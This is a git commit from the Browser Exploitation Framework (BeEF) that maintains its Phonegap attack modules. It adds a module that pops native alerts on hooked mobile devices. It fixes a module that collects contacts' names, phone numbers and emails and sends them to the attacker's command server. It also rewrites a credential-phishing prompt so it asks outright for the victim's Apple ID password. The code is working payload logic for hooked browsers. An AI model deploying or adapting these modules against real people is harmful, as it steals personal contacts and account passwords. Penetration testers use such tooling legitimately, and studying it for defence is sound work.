Merge pull request #1038 from sgorbaty/master

Phonegap module maintenance
This commit is contained in:
Michele Orru
2014-08-22 00:47:00 +02:00
6 changed files with 105 additions and 9 deletions

View File

@@ -0,0 +1,27 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Phonegap_alert_user
//
beef.execute(function() {
var title = "<%== @title %>";
var message = "<%== @message %>";
var buttonName = "<%== @buttonName %>";
function onAlert() {
result = "Alert dismissed";
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
}
navigator.notification.alert(
message,
onAlert,
title,
buttonName
);
});

View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Phonegap_prompt_user
#
beef:
module:
phonegap_alert_user:
enable: true
category: "Phonegap"
name: "Alert User"
description: "Show user an alert"
authors: ["staregate"]
target:
working: ["All"]

View File

@@ -0,0 +1,39 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Phonegap_prompt_user
#
class Phonegap_alert_user < BeEF::Core::Command
def self.options
return [{
'name' => 'title',
'description' => 'Alert title',
'ui_label'=>'Title',
'value' => 'Beef',
'width' => '300px'
},{
'name' => 'message',
'description' => 'Message',
'ui_label'=>'Message',
'value' => 'Game over!',
'width' => '300px'
},{
'name' => 'buttonName',
'description' => 'Default button name',
'ui_label'=>'Button name',
'value' => 'Done',
'width' => '100px'
}]
end
def callback
content = {}
content['Result'] = @datastore['result']
save content
end
end

View File

@@ -14,13 +14,17 @@ beef.execute(function() {
for (var i=0; i<contacts.length; i++) {
result = contacts[i].displayName;
for (var j=0; j<contacts[i].phoneNumbers.length; j++) {
result = result + ' #:' + contacts[i].phoneNumbers[j].value;
}
if (contacts[i].phoneNumbers != null) {
for (var j=0; j<contacts[i].phoneNumbers.length; j++) {
result = result + ' #:' + contacts[i].phoneNumbers[j].value;
}
}
for (var j=0; j<contacts[i].emails.length; j++) {
result = result + ' @:' + contacts[i].emails[j].value;
}
if (contacts[i].emails != null) {
for (var j=0; j<contacts[i].emails.length; j++) {
result = result + ' @:' + contacts[i].emails[j].value;
}
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
@@ -40,4 +44,4 @@ beef.execute(function() {
navigator.contacts.find(fields, onSuccess, onError, options);
});
});

View File

@@ -12,6 +12,8 @@ beef.execute(function() {
var ans_yes = "<%== @ans_yes %>";
var ans_no = "<%== @ans_no %>";
var result = '';
var def_text = "<%== @text %>";
function onPrompt(results) {
@@ -23,7 +25,8 @@ beef.execute(function() {
question,
onPrompt,
title,
[ans_yes,ans_no]
[ans_yes,ans_no],
def_text
);
});

View File

@@ -20,7 +20,7 @@ class Phonegap_prompt_user < BeEF::Core::Command
'name' => 'question',
'description' => 'Prompt question',
'ui_label'=>'Question',
'value' => 'Please enter your Apple ID',
'value' => 'Please enter your Apple ID password',
'width' => '300px'
},{
'name' => 'ans_yes',
@@ -34,6 +34,12 @@ class Phonegap_prompt_user < BeEF::Core::Command
'ui_label'=>'No',
'value' => 'Cancel',
'width' => '100px'
},{
'name' => 'text',
'description' => 'Default text to display',
'ui_label'=>'Default text',
'value' => 'Password',
'width' => '100px'
}]
end